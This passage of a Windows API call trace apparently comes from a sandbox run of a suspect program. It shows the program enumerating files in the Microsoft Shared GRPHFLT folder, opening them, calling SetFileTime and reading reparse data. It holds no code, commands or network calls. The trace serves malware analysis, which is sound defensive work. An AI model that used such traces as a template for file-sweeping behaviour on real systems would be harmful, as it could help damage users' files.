lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0142.982] GetLastError () returned 0x12 [0142.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.982] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985280) returned 1 [0142.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0142.982] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0142.988] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.988] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.988] NtClose (Handle=0x198) returned 0x0 [0142.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985280 [0142.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.989] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0142.991] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.992] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.992] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.992] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.992] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985280) returned 1 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d828 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98c200 [0142.992] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.992] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.992] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.993] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d848 [0142.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98c308 [0142.993] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0142.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.993] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0142.993] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0142.993] GetLastError () returned 0x12 [0142.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0142.994] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0142.994] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0142.994] GetLastError () returned 0x12 [0142.994] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.994] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0142.995] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.995] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.995] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, 